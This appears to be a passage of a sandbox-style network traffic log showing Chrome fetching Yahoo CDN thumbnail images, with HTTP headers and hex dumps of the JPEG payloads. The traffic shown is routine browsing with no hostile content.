2024-04-27 22:41:49 UTC	1092	IN	Data Raw: 44 4e 31 e7 77 f8 fc d7 e3 f3 76 d7 a8 27 18 14 16 4a 54 b0 bb dd 30 6e 77 02 42 36 7f 97 a9 a8 0e 5e c5 81 7d 4d 17 fa 4f 11 af cd 79 97 1d e3 e0 c2 05 2e 28 ec 9f 10 f2 f0 bd fb 1b 91 8b 74 98 1e 9a 7d 1a a1 6a f7 02 0a ee a6 1d 8f 84 86 a0 7a 73 5c a4 d1 67 42 bd c2 df 6e 75 72 f1 52 ac 02 96 58 aa 33 eb d1 6f 86 77 5a 20 ca 0f 79 26 55 c1 a5 85 f1 90 26 5b e5 b9 fa fb 71 2a 5a 7d 91 f4 e4 48 c5 27 5e 50 a4 fd 47 d2 c9 fa 42 25 08 5a 75 53 0e 16 ad 9b 2f 9b 5a a7 c5 d0 83 36 5e 15 4b fb 44 e8 cb 4c b5 ae 60 2d b5 27 f1 64 ac db 49 75 98 74 9d 69 79 6c bc 42 24 64 10 ef c6 97 02 cc 4d 65 dd f0 09 96 d5 ed bd b8 5f ad 28 0a 87 20 63 0f a5 d0 35 62 94 2b 0b 76 1d be 86 45 9c 22 c5 1a 6a f5 2e f7 93 c5 79 31 19 cf e4 d1 7d b1 64 bb d3 51 99 ba 83 c8 8a f2 Data Ascii: DN1wv'JT0nwB6^}MOy.(t}jzs\gBnurRX3owZ y&U&[q*Z}H'^PGB%ZuS/Z6^KDL`-'dIutiylB$dMe_( c5b+vE"j.y1}dQ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.4	49803	69.147.92.12	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:49 UTC	530	OUT	GET /uu/api/res/1.2/qEbq1mD293sfBSM0hh9GaQ--~B/Zmk9c3RyaW07aD0xODA7cT04MDt3PTM1NjthcHBpZD15dGFjaHlvbg--/https://s.yimg.com/os/creatr-uploaded-images/2024-04/851b4400-04d0-11ef-87f7-96750d986e06.cf.webp HTTP/1.1 Host: s.yimg.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:41:49 UTC	1285	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Cache-Control: public, max-age=2592000 Cache-Tag: 454764412291012042574950010564906424989,511190016196229211914731540151831200915,ae7a14591aaf8d474cdb3f92111c923e Content-Disposition: inline; filename="851b4400-04d0-11ef-87f7-96750d986e06.webp" Edge-Cache-Tag: 454764412291012042574950010564906424989,511190016196229211914731540151831200915,ae7a14591aaf8d474cdb3f92111c923e Etag: "fb4ccc91f5e68b5f33598e14b07edfc6" Expiration: expiry-date="Fri, 25 Oct 2024 00:00:00 GMT", rule-id="delete fetch for mysterio after 180 days" Last-Modified: Sat, 27 Apr 2024 20:04:58 GMT Server: ATS Surrogate-Reporting: width=356,height=180,bytes=8144,owidth=5939,oheight=3344,obytes=1123481,ef=(1,13,17,23,30) Timing-Allow-Origin: * Accept-Ranges: bytes Date: Sat, 27 Apr 2024 22:34:15 GMT X-Served-By: cache-lga21949-LGA X-Cache: Miss from cloudfront, HIT X-Cache-Hits: 0 X-Timer: S1714257256.816896,VS0,VE1 Age: 454 Strict-Transport-Security: max-age=31536000 cld_cache: Miss from cloudfront, HIT cld_hits: 0 cld_by: cache-lga21949-LGA cld_latency: 1 Referrer-Policy: no-referrer-when-downgrade Vary: Accept Content-Length: 20481 ATS-Carp-Promotion: 1
2024-04-27 22:41:49 UTC	197	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 45 78 70 65 63 74 2d 43 54 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 2c 20 72 65 70 6f 72 74 2d 75 72 69 3d 22 68 74 74 70 3a 2f 2f 63 73 70 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 62 65 61 63 6f 6e 2f 63 73 70 3f 73 72 63 3d 79 61 68 6f 6f 63 6f 6d 2d 65 78 70 65 63 74 2d 63 74 2d 72 65 70 6f 72 74 2d 6f 6e 6c 79 22 0d 0a 58 2d 58 53 53 2d 50 72 6f 74 65 63 74 69 6f 6e 3a 20 31 3b 20 6d 6f 64 65 3d 62 6c 6f 63 6b 0d 0a 58 2d 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2d 4f 70 74 69 6f 6e 73 3a 20 6e 6f 73 6e 69 66 66 0d 0a 0d 0a Data Ascii: Connection: closeExpect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only"X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniff
2024-04-27 22:41:49 UTC	1300	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff e2 02 40 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 02 30 41 44 42 45 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 d0 00 08 00 0b 00 13 00 33 00 3b 61 63 73 70 41 50 50 4c 00 00 00 00 6e 6f 6e 65 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 41 44 42 45 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0a 63 70 72 74 00 00 00 fc 00 00 00 32 64 65 73 63 00 00 01 30 00 00 00 6b 77 74 70 74 00 00 01 9c 00 00 00 14 62 6b 70 74 00 00 01 b0 00 00 00 14 72 54 52 43 00 00 01 c4 00 00 00 0e 67 54 52 43 00 00 01 d4 00 00 00 0e 62 54 52 43 00 00 01 e4 00 00 00 0e 72 Data Ascii: JFIF@ICC_PROFILE0ADBEmntrRGB XYZ 3;acspAPPLnone-ADBEcprt2desc0kwtptbkptrTRCgTRCbTRCr
2024-04-27 22:41:49 UTC	1300	IN	Data Raw: 6a b1 6d 0d 43 8f 2f 97 5d 52 fd 33 e5 55 79 5f 62 1e 23 1e 74 58 09 2a 20 e3 14 58 02 dd ed 45 93 62 37 7b 52 90 23 77 b5 45 81 ed de d4 a0 24 8c 03 40 01 39 07 8a 07 14 db f2 93 c2 1f 52 33 fb a6 99 0a 64 bf 21 c1 b5 c7 d6 a1 ee 6a 48 03 b7 19 39 a8 21 80 58 c1 c5 48 8c 0a aa 08 04 aa 64 02 13 4e 80 c3 9e 54 f1 00 0b ed 4a d5 d8 01 cf 34 01 e3 2e 4b 1f d8 be b4 67 be d3 8a b2 32 a0 15 fa 52 e1 ff 00 ce 3b ff 00 35 3a d5 40 41 43 9c f6 ad 8d f0 56 fa 08 1c 1d aa a1 2c 33 47 ea 14 59 62 0e 3d 8d 40 ac 2a 6a 45 41 11 de a2 c9 1d b6 72 28 1b c6 c2 26 a4 9f 11 6d b6 b7 56 1b 6d 0a 52 8f 60 05 4f 8b 05 13 65 0f 4f 5f 27 14 fc ad b1 e5 6e ed 94 91 9a 65 8f a8 c6 51 24 d6 de 97 ea 39 80 6e 42 5b cf f8 aa d8 e2 48 68 c2 c9 45 bf a2 c9 51 4b b3 67 ad 4a fd c0 3e Data Ascii: jmC/]R3Uy_b#tX* XEb7{R#wE$@9R3d!jH9!XHdNTJ4.Kg2R;5:@ACV,3GYb=@*jEAr(&mVmR`OeO_'neQ$9nB[HhEQKgJ>
2024-04-27 22:41:49 UTC	1300	IN	Data Raw: 7f 4e 5c 56 cc fb 62 9b 76 3a 93 f6 1f 6d 2a c2 14 47 ef 24 27 69 fc 0f 98 ac 59 2a 39 98 92 d0 d6 fb 31 b4 e5 e3 34 d1 d3 7f 12 7a e5 a8 90 74 27 56 61 db 62 78 7a 88 34 dc c5 29 3f ad 6d 95 23 72 46 e1 fb de 20 dc 08 27 2d 27 18 e7 3f 24 f8 66 4b 26 39 1b 66 bb e7 4d f1 fd ce d6 fb 0b 86 9e b2 5f 50 38 8f b5 32 3b 72 98 50 53 6e a4 2d 24 79 83 56 c9 78 3a 67 9f 48 74 55 b6 90 ad 8a 49 24 9c d0 21 ed de d4 0d 54 08 ab 3e 54 0b 42 68 24 c2 95 8a 00 c6 fa 09 a1 05 79 14 10 08 9c 9a 00 f5 00 21 4a f6 a0 00 2d 79 c7 14 00 2d d9 a0 86 23 77 b5 02 50 35 2b da 98 91 0b 5e 31 c5 32 00 25 c2 29 d3 b0 00 e3 c7 d2 99 3a 00 2b 73 3c f7 a6 5c 8a 01 47 3e 54 c0 08 f3 4a 00 ff 00 a9 1a a2 f9 3c aa 2d a1 d4 21 c2 4e e7 06 00 ff 00 5a ed 7a 51 fc 09 15 bf a1 ba 82 4e 3e Data Ascii: N\Vbv:mG$'iY914zt'Vabxz4)?m#rF '-'?$fK&9fM_P82;rPSn-$yVx:gHtUI$!T>TBh$y!J-y-#wP5+^12%):+s<\G>TJ<-!NZzQN>
2024-04-27 22:41:49 UTC	1300	IN	Data Raw: 20 b6 a7 d2 1e 56 e1 95 1d 9d fe 9c 72 3b f3 9e dc d7 46 da e0 0e a1 e9 1f 57 6d dd 58 b0 e9 bb 56 be 97 b2 1f 4f ec cc 5a e0 b6 cc 62 e2 64 ba 8f 18 33 e3 21 b2 1c 73 73 6a f0 9b 03 f6 9b 5a 79 53 b8 51 60 73 86 bd be e9 ed 41 af 2e d2 74 84 08 cd d9 1e 90 55 09 05 b7 4b 63 77 70 d8 1b 5d 42 14 b2 4a 53 f4 fd 24 02 9c 0d b4 ae 4a e9 8c a2 da 19 21 32 a2 b4 94 7c 82 d3 e6 43 17 0f 05 24 f9 9c 3c 8c ff 00 1a b2 33 44 38 bf b1 7e 7c 21 75 b3 49 74 13 5e dc fa 81 7b d3 93 af 93 9f 80 bb 6c 44 21 e6 fc 58 61 6b 4a 96 ee f1 b9 b2 54 94 6d 18 50 20 15 7a 8c d8 a6 98 be 2d 33 a4 7f f8 cc e9 3d eb 58 af 54 4a 95 d4 ab 42 d6 eb 4b 7e 2e e8 8b 84 e3 69 04 16 88 4a d4 4a 14 33 b8 12 0f 3c 1c 92 6a 86 b4 d3 f2 49 59 6b f2 aa 6c 89 e8 3b ae 8a 94 fe a1 b6 68 18 8f 45 Data Ascii: Vr;FWmXVOZbd3!ssjZySQ`sA.tUKcwp]BJS$J!2\|C$<3D8~\|!uIt^{lD!XakJTmP z-3=XTJBK~.iJJ3<jIYkl;hE
2024-04-27 22:41:49 UTC	1300	IN	Data Raw: 2e d6 e6 a1 94 a1 4f 28 2c 14 ee 52 94 3e a5 2b 8d c4 f9 0c 0c 66 bd 5b c3 d0 50 aa f6 1d c0 e2 5b 93 70 91 3a 41 b7 2d 4a 8c 5c 25 9d c3 9d 87 91 9f 7c 1e fe d5 e1 f5 d5 49 94 48 d5 bf ce 0f e1 48 ba 14 0e f1 52 29 e6 5b d8 2a 5d 00 74 01 8a 46 4a 30 13 83 c7 9d 47 44 86 42 73 45 8d 16 14 0a 8b 19 74 29 2d 13 8f f3 a5 16 87 0d 36 70 38 fe 34 30 5f d4 28 8e a1 93 4a 32 a4 11 2d 9e 78 fe 35 34 4f 01 50 de 7c aa 02 90 76 db db 4d 54 4a 46 d2 c3 02 3c db 83 6d 4a 75 4d c7 46 5e 7d 61 49 4e c6 90 0a 96 ac a8 84 8c 24 13 95 10 91 dc 90 39 a8 84 7c dd 6a 2a 35 63 57 ce e4 96 c9 f8 86 e8 de 9e b9 bc fc 3d 51 a6 a0 4e 53 84 3a e3 4f de 5e 59 cf da 25 d8 2d b0 93 93 eb bc 81 8f a8 f7 3d 4f 45 ae ff 00 6b 13 c9 7f c9 d9 55 1f e7 a3 6d a7 7a f1 a6 f5 7c a6 a2 d8 35 Data Ascii: .O(,R>+f[P[p:A-J\%\|IHHR)[]tFJ0GDBsEt)-6p840_(J2-x54OP\|vMTJF<mJuMF^}aIN$9\|j5cW=QNS:O^Y%-=OEkUmz\|5
2024-04-27 22:41:49 UTC	540	IN	Data Raw: 24 65 28 ca 70 55 9e 0f 7f 65 c5 5f bb 2f ec 6e c6 83 6c d2 5f bf a3 15 28 60 8b 4f 55 b2 e9 fa 82 e4 59 80 49 57 99 fa 5d 18 fc 73 5e 86 39 52 ba 3a 52 c4 b5 67 2f 75 af e1 f3 a8 bd 0a 9e cb 3a 9d 4c 4b b7 4a 5a 93 16 e7 0d 65 71 dc db 8c a4 e7 0a 42 f9 fb 2a 1f 71 3c e3 65 68 6a 2f cd c9 8e 58 b2 8b b3 77 a3 3a dd 27 51 e8 fb af 4d ba 93 a8 e5 2c 9b 5c 88 da 7e f6 fb 8a 5b b1 54 a4 1f fb 13 ca 24 95 c6 77 01 3c fd 85 6c 50 c6 d4 a9 1e 5f 27 69 96 2e 4a cb c1 7c 7f 32 fb 97 2c a5 92 be 4e b7 f6 28 64 fd aa f5 f0 95 a5 67 3d f0 6e ac 16 99 17 c7 97 12 23 ad 25 d4 a7 70 42 f7 12 a1 e7 80 90 49 c7 1e dc d4 64 e5 2c 6e 59 3e 36 39 d4 7d 3f d5 b6 4b 7a ee 17 6d 3f 2d b8 60 a5 3f 32 84 07 18 2a 5b 68 71 09 0e a4 94 64 a1 c4 28 0c e7 9f 2a cb f8 9e 86 4f 1a 52 Data Ascii: $e(pUe_/nl_(`OUYIW]s^9R:Rg/u:LKJZeqBq<ehj/Xw:'QM,\~[T$w<lP_'i.J\|2,N(dg=n#%pBId,nY>69}?Kzm?-`?2[hqd(*OR
2024-04-27 22:41:49 UTC	1300	IN	Data Raw: 77 12 c7 58 1f ad dc 89 2b cc f8 4e 29 b7 06 14 82 41 ac 6b 85 c9 e7 1c 52 74 84 21 ac d4 50 81 3c 14 84 e2 8a 15 f0 0c 34 37 77 a2 89 a0 a9 69 38 a2 85 11 e1 0f 5a 94 a8 04 6c 4f a5 35 12 e5 67 bc 31 8c e6 8a 16 f9 1e 5b 2d ae cf 5b e8 65 95 b8 a4 47 70 ed 40 e7 25 3b 41 27 c8 02 41 cf b5 6d c3 8b 7a aa 8e e6 d5 c6 bc 58 e2 c9 62 66 20 47 f5 b5 72 57 28 64 88 69 1c ac 12 4e 16 ac fd 23 9c 14 8e 7d c1 c1 ae bb c6 f9 ee d9 e9 77 0d ad 6e 1a cb 57 c8 b5 a3 c5 67 55 d9 64 5a 66 46 42 1a 4b 08 00 32 43 7e 11 41 4a c2 52 3b 24 0f 3e 0f 19 f6 23 53 8d 2f 12 35 f1 15 24 8a f7 55 27 50 bf 6f ff 00 bc 44 1d 0b a6 22 02 d2 98 76 5a 1e 99 28 f1 95 14 21 47 69 57 1c a9 5b ce 40 e2 b1 4d 28 bb 33 b4 a1 fa 5a 5c 7f 52 23 63 1a 42 54 e0 b6 fe 70 c0 6d 85 29 b4 cf 49 65 Data Ascii: wX+N)AkRt!P<47wi8ZlO5g1[-[eGp@%;A'AmzXbf GrW(diN#}wnWgUdZfFBK2C~AJR;$>#S/5$U'PoD"vZ(!GiW[@M(3Z\R#cBTpm)Ie
2024-04-27 22:41:49 UTC	1300	IN	Data Raw: 6f a1 6d 8e 5f a4 26 e3 2d a7 dc 6d 04 6d 53 9c 6f ef 9c 7a 57 53 fe 0f 44 df d8 dd 6a 1e a2 f4 e6 df 1e 7e 89 97 ab db b4 dc 66 46 71 81 21 03 72 a3 a9 43 01 40 64 6e c6 73 8c 8e 01 e6 a6 4d 7b b1 25 3f 66 ca 6a e5 6a d3 cd 65 d8 7a ee 66 a8 92 93 b9 6f 49 8e e2 13 8f 32 9c 9d 89 03 d0 01 5c 6c ca be 26 79 ed d6 5a d5 f9 66 59 bd 1f e8 26 a2 ea 4c 84 5c a7 85 5b 6c 00 fd 72 d6 9f d6 3e 3f 75 94 1c 6e 24 12 37 1f a4 73 dc d3 e1 6d 12 c9 92 6f e9 38 11 57 d9 d8 76 db 1d 87 48 d8 58 b2 58 e0 b5 0a 24 72 9d 8d b6 39 51 1d d4 a3 dd 4a 3e 64 f3 5e cd 69 a8 c6 91 72 1a dc 2f 49 69 3e 0b 5d cf 73 9a 57 f4 8a 53 fd 41 9d 26 5a 96 1a 23 08 18 c7 a5 67 64 94 bc ce 99 ea 0d 61 31 2b 4a 50 23 a7 38 52 87 2e 12 49 27 ee cf 1f 85 73 f2 b1 9e bb 23 d8 90 5b 7a 07 6f 8e Data Ascii: om_&-mmSozWSDj~fFq!rC@dnsM{%?fjjezfoI2\l&yZfY&L\[lr>?un$7smo8WvHXX$r9QJ>d^ir/Ii>]sWSA&Z#gda1+JP#8R.I's#[zo
2024-04-27 22:41:49 UTC	1300	IN	Data Raw: 86 2a ec 0e 8f d1 4f 46 9a 1e 71 93 3a fb 71 3e 13 a5 2d a9 64 67 b3 6d 81 93 eb 9e 32 4d 71 f2 72 a5 97 2a 89 e3 f3 73 9e 53 e0 eb 8e 92 fc 2e c2 82 63 ea 1e a6 a0 15 8c 38 cd a1 0a e4 7b be 47 ff 00 80 38 e3 9f 4a ed e0 ed 17 52 d7 39 eb c9 f6 cb ea 7c f5 44 6d 0d c7 4a 1a 69 29 d8 d3 68 1c 20 0f 21 ed 5e 9a 10 51 54 86 44 59 cb f9 98 f2 da f1 52 50 df 2a 58 5e 42 7e ff 00 4a 6a a4 3d 9a f9 12 d0 b5 24 a8 02 eb 80 f8 23 3c 91 ea 7d 2a 87 d1 04 2b 5b 5d b4 e5 be de 60 5c 2e 45 13 64 0c 30 94 24 9c 20 ac 25 4b 07 cf 03 38 1d f8 aa 9c 78 b2 05 dc 75 d6 93 b0 c2 6b 33 d9 4a 12 d8 f0 d3 bb 1f 47 95 53 29 24 bb 13 ce 8a c3 55 fc 40 5a 98 52 d3 69 40 92 af d9 3b bf 96 2b 9f 2c b4 bd ca 5e bd 15 95 ef ad da a2 e0 85 37 1f 6b 01 5d c8 39 fe 55 cf 7b 9d f0 8a 65 Data Ascii: OFq:q>-dgm2MqrsS.c8{G8JR9\|DmJi)h !^QTDYRPX^B~Jj=$#<}+[]`\.Ed0$ %K8xuk3JGS)$U@ZRi@;+,^7k]9U{e

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.4	49802	69.147.92.12	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:49 UTC	530	OUT	GET /uu/api/res/1.2/I_CWQDhNbfRywZcHGDk5jA--~B/Zmk9c3RyaW07aD0xODA7cT04MDt3PTM1NjthcHBpZD15dGFjaHlvbg--/https://s.yimg.com/os/creatr-uploaded-images/2024-04/eb2a85d0-04bc-11ef-9dfb-5556c0b3052a.cf.webp HTTP/1.1 Host: s.yimg.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:41:49 UTC	1286	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Cache-Control: public, max-age=2592000 Cache-Tag: 259988495893246509201017082312240814486,511190016196229211914731540151831200915,ae7a14591aaf8d474cdb3f92111c923e Content-Disposition: inline; filename="eb2a85d0-04bc-11ef-9dfb-5556c0b3052a.webp" Edge-Cache-Tag: 259988495893246509201017082312240814486,511190016196229211914731540151831200915,ae7a14591aaf8d474cdb3f92111c923e Etag: "d2f829468a2d437908d23f752c1791d2" Expiration: expiry-date="Fri, 25 Oct 2024 00:00:00 GMT", rule-id="delete fetch for mysterio after 180 days" Last-Modified: Sat, 27 Apr 2024 17:42:20 GMT Server: ATS Surrogate-Reporting: width=356,height=180,bytes=5394,owidth=3500,oheight=1971,obytes=407844,ef=(1,13,17,23,30) Timing-Allow-Origin: * Accept-Ranges: bytes Date: Sat, 27 Apr 2024 19:13:28 GMT X-Served-By: cache-lga21975-LGA X-Cache: Miss from cloudfront, HIT X-Cache-Hits: 0 X-Timer: S1714245208.302310,VS0,VE1 Age: 12501 Strict-Transport-Security: max-age=31536000 cld_cache: Miss from cloudfront, HIT cld_hits: 0 cld_by: cache-lga21975-LGA cld_latency: 1 Referrer-Policy: no-referrer-when-downgrade Vary: Accept Content-Length: 15831 ATS-Carp-Promotion: 1
2024-04-27 22:41:49 UTC	197	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 45 78 70 65 63 74 2d 43 54 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 2c 20 72 65 70 6f 72 74 2d 75 72 69 3d 22 68 74 74 70 3a 2f 2f 63 73 70 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 62 65 61 63 6f 6e 2f 63 73 70 3f 73 72 63 3d 79 61 68 6f 6f 63 6f 6d 2d 65 78 70 65 63 74 2d 63 74 2d 72 65 70 6f 72 74 2d 6f 6e 6c 79 22 0d 0a 58 2d 58 53 53 2d 50 72 6f 74 65 63 74 69 6f 6e 3a 20 31 3b 20 6d 6f 64 65 3d 62 6c 6f 63 6b 0d 0a 58 2d 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2d 4f 70 74 69 6f 6e 73 3a 20 6e 6f 73 6e 69 66 66 0d 0a 0d 0a Data Ascii: Connection: closeExpect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only"X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniff
2024-04-27 22:41:49 UTC	1300	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff e2 02 40 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 02 30 41 44 42 45 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 d0 00 08 00 0b 00 13 00 33 00 3b 61 63 73 70 41 50 50 4c 00 00 00 00 6e 6f 6e 65 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 41 44 42 45 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0a 63 70 72 74 00 00 00 fc 00 00 00 32 64 65 73 63 00 00 01 30 00 00 00 6b 77 74 70 74 00 00 01 9c 00 00 00 14 62 6b 70 74 00 00 01 b0 00 00 00 14 72 54 52 43 00 00 01 c4 00 00 00 0e 67 54 52 43 00 00 01 d4 00 00 00 0e 62 54 52 43 00 00 01 e4 00 00 00 0e 72 Data Ascii: JFIF@ICC_PROFILE0ADBEmntrRGB XYZ 3;acspAPPLnone-ADBEcprt2desc0kwtptbkptrTRCgTRCbTRCr
2024-04-27 22:41:49 UTC	1300	IN	Data Raw: dc 96 a9 0c 13 5b ac cd 07 aa 2f f7 b7 ca a3 78 e7 65 c9 f6 ae d7 17 f1 9e b3 75 6e 67 01 ca 4a ca a5 01 94 29 43 70 21 2e 7e cd 37 1d 74 65 39 82 65 8a 33 89 61 e5 13 8a 9c e7 68 6a 9e 0b 96 5b 19 7d 58 5c c5 9e d3 4a 7d 7d 95 a7 f0 2a 5c 51 42 a4 32 db 9e f0 92 cd 9f 3e 25 aa c5 73 87 52 ed 38 a7 14 d0 f7 65 8b b0 ca 56 2f 2f 17 d7 ea b8 ac 2f 2b 2c b2 9e cc 26 fe 1b c5 8c 7a 7a 49 e8 a3 45 03 87 72 4b ec bd b4 a5 5f 8c 34 25 ad dd f4 3d cd 83 3f 38 b6 2a 28 8a 42 c7 d9 88 30 e2 92 bf ba 20 2e b6 55 14 75 91 7c b0 24 a2 68 eb d7 ba 20 03 fd 0a be 83 ca 00 d4 b3 72 c7 b3 be 5d 44 31 14 fa dc ba ca 5c 16 b5 c1 b4 01 ab b1 2b 2b 73 30 4e e0 40 1a ea 76 99 32 5f 56 9b c0 0d d3 45 9c 72 f9 13 7b 44 ca 2a 76 9b 46 9d 6d 41 19 2f 6e 71 6e 2a ec da 69 34 99 df Data Ascii: [/xeungJ)Cp!.~7te9e3ahj[}X\J}}\QB2>%sR8eV///+,&zzIErK_4%=?8(B0 .Uu\|$h r]D1\++s0N@v2_VEr{DvFmA/nqni4
2024-04-27 22:41:49 UTC	119	IN	Data Raw: cd cb c1 aa db f8 a6 5a 56 46 89 36 eb 8a b9 2d 1d 00 b4 4e 77 a2 63 8f 7a 79 8f c5 fa 1c 96 24 c6 d5 09 d9 46 90 84 15 64 25 28 b5 d4 2f 73 18 b2 92 d7 6b 8d c6 eb b6 ac aa e1 39 d9 35 66 42 6e 12 6e 0c 55 a5 bf c7 b2 ad 78 12 87 3a fc c2 03 ce 28 58 58 6f 11 74 b6 63 71 6f 4c 37 84 67 58 6d 2e a9 d4 94 8e 97 8a cf 16 39 97 55 2c 8b 73 85 b5 b7 c3 8a 31 Data Ascii: ZVF6-Nwczy$Fd%(/sk95fBnnUx:(XXotcqoL7gXm.9U,s1
2024-04-27 22:41:49 UTC	1300	IN	Data Raw: ea a5 94 10 b5 0b 78 eb 0b 2a db 81 66 dd 6e 64 00 14 15 e1 16 4a a7 f6 f5 4d b1 2e 1a c9 4c f5 fd 2e 06 9e 10 6b 67 ef 19 d2 89 30 f7 64 02 54 9c c8 23 51 d6 09 e3 37 83 cf bc b4 87 a8 53 98 7b 30 09 b2 57 c8 f2 87 c3 fa d5 9f 93 fe d8 f4 8a a7 e0 ba 74 d4 dd d6 b0 2d fb 9f d6 35 61 9b c6 67 85 bb ae 9f e1 9f 1d 1d e1 6d 05 a6 6a 0c bc f4 9b 00 02 e3 7e c9 8d 1e 3b b6 2c ba ad f5 c3 df 49 8e 1c 71 0d 0d 9a 6d 76 55 6f 2c 5c a0 38 02 93 ef 11 75 9a 4c 6d f9 77 9b 9a 6d 2e b2 a0 a4 a8 5c 11 0b 61 4b 64 f0 89 d8 18 30 a2 2f b4 28 0f 56 27 9c 4c 0c 76 5f bd f2 86 0d 2a 9a 6b e4 6a 81 0c 8d 0a ba 39 70 92 a6 c5 cc 45 1a 37 73 0d e7 56 6c a3 ca 13 62 13 ff 00 0b 24 ee da 3c a1 8d a1 d1 84 d2 7e c2 07 c2 16 96 9d b1 85 80 50 39 11 a0 e9 06 ca 76 8c 36 34 fa b4 Data Ascii: xfndJM.L.kg0dT#Q7S{0Wt-5agmj~;,IqmvUo,\8uLmwm.\aKd0/(V'Lv_kj9pE7sVlb$<~P9v64
2024-04-27 22:41:49 UTC	1300	IN	Data Raw: a9 a3 75 ba dc f2 84 bb ca 51 41 f1 8a ef d3 cf 2e a2 61 a9 30 a6 f3 bd aa 88 89 dc 19 5f 73 09 b6 8b 69 59 48 d2 c6 1f 1b aa e6 72 7c 5b 8d 4b 33 8b df c1 f8 b9 aa b4 b3 85 b5 a5 7b 8e 82 d1 da e2 6b d5 e6 39 53 b4 07 18 38 92 ae 21 cd 32 fb ad ab 32 14 4e 62 ab fe 5f dd a2 fc fe b1 c1 fd 1f ea 73 94 7e 27 e1 e9 f9 27 4a 5c 4c fb 62 df 78 29 41 24 79 13 09 43 dd 0c 26 eb 93 38 7e 4d f7 4d d6 b6 c1 27 e1 14 d8 12 f9 7c 62 4e 19 7c 60 01 97 c6 00 af 89 5e f5 b2 c3 9a 95 6e 59 36 be 5d 21 6a a1 84 b0 b9 cb a1 e7 10 68 58 4b ac 7b 42 d1 31 25 13 2a 75 ef 7c a2 68 1d 32 a7 ef fc a2 bb 43 3e a8 7e f0 f2 86 00 25 48 fb 43 ca 00 55 0c 10 39 40 71 d2 d1 f0 80 bb 19 32 e4 df 68 0c 3a 65 cf 32 20 03 a6 5f 4d c7 94 00 0b 16 e6 3c a0 2d 63 b1 f1 1e 50 16 b2 19 bf 31 Data Ascii: uQA.a0_siYHr\|[K3{k9S8!22Nb_s~''J\Lbx)A$yC&8~MM'\|bN\|`^nY6]!jhXK{B1%*u\|h2C>~%HCU9@q2h:e2 _M<-cP1
2024-04-27 22:41:49 UTC	1300	IN	Data Raw: 3d 22 88 71 fb 33 d2 1a 4d 80 ec e2 00 fd 9c 00 6c 82 00 53 b2 1d 60 0c f6 7e 30 00 ec fc 60 05 32 f8 c0 03 2f 8c 00 32 f8 c0 03 2f 8c 00 58 00 40 02 00 07 68 11 5e 6c fe 91 e3 22 e7 14 e8 b5 09 39 b9 67 d6 29 09 95 98 0c bc 95 a9 b7 50 ea ee 85 80 6e 95 00 a1 a1 b6 f1 56 58 fb 34 f1 ed 8e 58 a0 ba 17 3a 96 fa e9 1c be 4e 1a 76 78 d9 36 05 1e 51 72 aa 5a dd cc 4a b4 4d ce c2 32 e3 a6 eb b5 c3 0d 66 0f 9c 84 29 b7 53 a9 ca 47 78 72 d7 7f 7c 68 90 a9 0a ac b3 12 c9 4c d2 1b 01 59 ac 02 47 b4 7a 74 1e f3 11 6e 81 fa 6b 68 13 88 95 96 58 59 43 69 2a 20 f5 20 42 dc 82 c1 35 8b 25 68 6d 34 e4 c4 e2 15 6b e5 09 3b ff 00 2d e2 32 9b 86 da 8b 5b c5 b3 15 57 cc e4 ac a1 5b 46 f6 39 f9 79 46 7b f5 3b da ab 51 c4 12 33 60 b4 e3 0b 6d d1 a1 06 